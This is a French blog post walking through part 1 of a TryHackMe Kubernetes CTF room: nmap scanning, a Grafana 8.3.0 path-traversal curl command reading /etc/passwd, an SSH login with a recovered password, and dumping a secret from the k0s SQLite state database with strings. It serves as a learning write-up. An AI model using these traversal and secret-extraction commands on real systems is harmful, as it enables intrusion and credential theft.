Skip to content

Je hack un cluster kubernetes – Partie 1

J’avouuuuuue que j’ai peut-ĂȘtre un peu abusĂ© sur titre mdr. Mais maintenant que vous ĂȘtes lĂ , laissez-moi vous expliquer ! 

En passant la CKA (article dispo ici au passage), je me suis dit qu’il serait intĂ©ressant de maĂźtriser non seulement l’usage de K8S, mais aussi les risques de sĂ©curitĂ© qu’il peut prĂ©senter. Alors quoi de mieux que de se mettre dans la peau d’un H4CK3R
Pour ça, j’ai trouvĂ© une Room sur TryHackMe :

“A kubernetes hacking challenge for DevOps/SRE enthusiasts”

Ça sonne bien ça non ? Allez, on met notre capuche (parce-que oui, les vrais hackers mettent leur capuches) et au boulot !

Je ne dĂ©taillerai pas le fonctionnement de TryHackMe. Ce n’est pas le but de l’article. Mais vous trouverez tout ce qu’il faut ici

Let’s go ! đŸ’Ș

Task 1 : Access the cluster

Ok, la premiĂšre tĂąche nous demande d’accĂ©der au cluster et de trouver un username/password. Nous n’avons aucune information pour le moment. Je vous propose de lancer un scan nmap :

$ nmap -sC -sV -oN nmap/nmap.init 10.10.38.71
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
111/tcp  open  rpcbind 2-4 (RPC #100000)
3000/tcp open  ppp?
5000/tcp open  upnp?

Nous avons plusieurs ports ouverts. On va commencer par inspecter les ports 3000 et 5000. Le port 3000 est une instance Grafana en 8.3.0.

Le port 5000, lui, est un petit jeu en javascript :

Regardons si la version de Grafana a un exploit public avec une rapide recherche sur internet.

Boom đŸ’„, en tapant *grafana 8.3.0 exploit* sur votre moteur de recherche prĂ©fĂ©rĂ©, on tombe rapidement sur un article detaillant cette faille.: 

A présent, déroulons la procédure et confirmons que nous sommes bel et bien en v8.3.0 :

$ curl http://10.10.38.71:3000/login | grep "Grafana v"

[...SNIP...]"subTitle":"Grafana v8.3.0
(914fcedb72)","icon":"questioncircle","url":"#","sortWeight":-100}],

C’est confirmĂ© ! Essayons la commande de path traversal qui nous est donnĂ© dans l’article:

$ curl --path-as-is http://10.10.38.113:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
[..SNIP..]
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:hereiamatctf907:/home/grafana:/sbin/nologin

Nous pouvons effectivement lire des fichiers (ici la liste des utilisateurs) ! Voyons voir si on peut avoir des infos plus croustillantes dans la configuration Grafana.

Je ne vais pas vous faire l’Ă©numĂ©ration ici, mais je n’ai rien trouvĂ© d’intĂ©ressant 🙁

Regardons maintenant le port 5000. Peut-ĂȘtre qu’il y a quelque chose Ă  faire !En regardant le code source, on voit deux fichiers : main.css et script.js.  Dans le fichier CSS on trouve un lien qui renvoie vers pastebin :

/* @import url("https://pastebin.com/cPs69B0y"); */

Si on se rend sur ce dernier, on a une chaĂźne qui semble ĂȘtre encodĂ©e (OZQWO4TBNZ2A====). 

On peut essayer de la décoder avec Cyberchef :

Avec l’opĂ©ration “magic” on obtient vagrant, un potentiel username ?? đŸ€”

Pour ce qui est du password je ne vous cache pas que j’ai biiiiiiiien galĂ©rĂ©, c’Ă©tait un peu du « guessing »…

Le champ gecos du user grafana que l’on peut voir dans le fichier /etc/passwd baaaaah… c’est ça… le mot de passe :’) D’ailleurs, pour ceux comme moi qui ne connaissent pas ce champ, en gros c’est utilisĂ© pour stocker des informations supplĂ©mentaires sur l’utilisateur. 

A prĂ©sent, il ne nous reste plus qu’Ă  essayer de nous connecter en SSH avec la combinaison user/password que l’on vient de trouver :

$ ssh vagrant@10.10.38.113
[..SNIP..]
vagrant@10.10.38.113's password: hereiamatctf907
vagrant@johnny:~$

Nous avons enfin un pied dans la machine, passons Ă  la suite ! đŸ’Ș

Task 2 : Your Secret Crush

Apparemment, on doit trouver un secret. Je vais commencer par faire une énumération avec LinPeas

Voici ce que j’ai trouvĂ© d’intĂ©ressant :

Groupsudo, lxd, docker
Sudo Privileges(ALL) NOPASSWD: ALL
Process running (ici k0s) /var/lib/k0s/bin/kine
— endpoint=sqlite:///var/lib/k0s/db/state.db
Fichiers executables/usr/local/bin/k0s
Logs intéressantsFeb 10 18:55:15 vagrant sudo: root :
TTY=unknown ;
PWD=/home/vagrant ;
USER=root ;
COMMAND=/usr/local/bin/k0s kubectl create -f secret.yaml

Feb 10 18:55:15 vagrant sudo: root :
TTY=unknown ;
PWD=/home/vagrant ;
USER=root ;
COMMAND=/usr/local/bin/k0s kubectl create ns internship


Vu que l’on nous demande de trouver un secret, je pense qu’il peut ĂȘtre judicieux de regarder du cĂŽtĂ© de k0s (et puis vu le thĂšme de la room, ça ne me semble pas ĂȘtre une mauvaise idĂ©e
)

On peut commencer par trouver le fichier secret.yaml. Mais avant, on a vu que l’on pouvait trÚÚÚÚs facilement passer root avec un simple sudo su (merci le (ALL) NOPASSWD: ALL). Maintenant, faisons la commande find pour tenter de trouver le fichier qui a potentiellement servi Ă  crĂ©er le secret :

$ find / -type f -name "secret.yaml" 2>/dev/null

ça n’a rien donnĂ© 😱, essayons de lister les secrets ?

$ sudo k0s kubectl get secret
The connection to the server localhost:6443 was refused - did you specify the right host or port?

Mmmmh, chelou, on obtient ce message… Regardons si le port 6443 est en Ă©coute :

$ ss -nltpu|grep 6443

Non, ce port n’est pas en Ă©coute… Pas grave, on va l’ouvrir, on active le firewall, avec ufw enable (dans le doute j’ai ouvert tout le trafic entrant et sortant sur l’interface eth0 sur le port 22)

$ ufw allow 6443/tcp
$ ufw allow 22/tcp
$ ufw allow in on eth0 to any
$ ufw allow out on eth0 to any

On active le firewall, avec ufw enable (dans le doute j’ai ouvert tout le trafic entrant et sortant sur l’interface eth0 sur le port 22). J’ai Ă©galement redĂ©marrĂ© k0s avec k0s stop et k0s start

A prĂ©sent j’ai bien mon port 6443 ouvert :

$ ss -nltpu|grep 6443

tcp   LISTEN  6       128                         *:6443                *:*      users:(("kube-apiserver",pid=2863,fd=7))`

Mais k0s semble dans les choux, il est extrĂȘmement long et je n’ai plus de retour sur les commandes k0s status

On ne va pas se laisser abattre, j’ai un plan B ! En regardant dans la doc k0s j’ai vu que l’on pouvait faire des backups. Ces derniers comprennent tout ce qu’il faut pour restaurer le cluster :

  • certificates (the content of the <data-dir>/pki directory)
  • etcd snapshot, if the etcd datastore is used
  • Kine/SQLite snapshot, if the Kine/SQLite datastore is used
  • k0s.yaml
  • any custom defined manifests under the <data-dir>/manifests
  • any image bundles located under the <data-dir>/images
  • any helm configuration

Du coup, si l’on restaure tout ça sur un cluster que l’on contrĂŽle Ă  100% est-ce que ça pourrait le faire ? J’en sais rien, mais j’ai bien envie de le savoir !

Commençons par installer k0s. On va juste vĂ©rifier la version, histoire d’installer la mĂȘme :

vagrant@johnny:~$ sudo k0s version
v1.23.3+k0s.0

Ok, nous sommes en v1.23.3+k0s.0

Sur ma machine en local, on va faire la commande suivante pour l’installation :

$ curl -sSLf https://get.k0s.sh | sudo K0S_VERSION=v1.23.3+k0s.0 sh

Je ne vais pas vous faire attendre pour rien… c’est un nouvel Ă©chec, ça n’a rien donnĂ©… 😭

Je vous avoue, qu’Ă  ce stade, j’Ă©tais un peu dĂ©sespĂ©rĂ©. Je me suis avouĂ© vaincu et j’ai regardĂ© le write-up. Je vois que je n’ai pas DU TOUT le mĂȘme scĂ©nario et que le cluster k0s est dans les choux alors qu’il ne devrait pas. En voyant ça, j’ai arrĂȘtĂ© la Room, tant pis. Elle n’est plus fonctionnelle


AprĂšs plusieurs mois, retournement de situation !!!! Je tombe sur ce replay de Devoxx France 2024 “Beyond the Pod: Privilege Escalation in Kubernetes”. Durant ce talk Patrycja Wegrzynowicz nous montre plusieurs techniques de privilege escalation sur Kube. đŸ˜

Et Ă  un moment, 33min44 pour ĂȘtre (trĂšs) prĂ©cis, Patrycja utilise la commande strings pour afficher le contenu ETDC. Et lĂ , ça fait tilt ! C’est ça qu’il faut que je fasse ! Du coup, je me suis remis sur la room ! On essaie ?

$ sudo strings /var/lib/k0s/db/state.db | grep registry/secrets
[..SNIP..]
/registry/secrets/default/k8s.authentication
/registry/secrets/kube-system/horizontal-pod-autoscaler-token-h6qr6
/registry/secrets/kube-system/generic-garbage-collector-token-q2m67
/registry/secrets/kube-system/expand-controller-token-6lsd6
/registry/secrets/kube-system/ephemeral-volume-controller-token-md4tn
[..SNIP..]

Avec le write-up (oui, on a un peu trichĂ©, mais c’est pour la bonne cause, promis) on sait que le secret que l’on doit trouver est secrets/default/k8s.authentication. Maintenant, il faut voir son contenu. Pour ça rien de plus simple, on fait un grep sur k8s.authentication en affichant environ 10 lignes de plus aprĂšs le match :

$ sudo strings /var/lib/k0s/db/state.db | grep -A10 k8s.authentication
[..SNIP..]
/registry/secrets/default/k8s.authenticationk8s
Secret
k8s.authentication
default"
*$416e4783-03a8-4f92-8e91-8cbc491bf7272
kubectl-create
Update
FieldsV1:+
){"f:data":{".":{},"f:id":{}},"f:type":{}}B
THM{REDACTED}
Opaque
x/registry/daemonsets/kube-system/kube-router
apps/v1
[..SNIP..]

Ettttt bingooooooo, on arrive Ă  chopper le FLAG ! đŸ„ł

Je vous avoue que j’Ă©tais hyper content d’avoir rĂ©ussi Ă  dĂ©tourner le chemin initial ahah 👌

Du coup, ça m’a clairement remotivĂ© Ă  terminer ce challenge une bonne fois pour toute !! Alors on se donne rendez-vous la semaine pro pour la partie 2 ?

Published inNon classé

Comments are closed.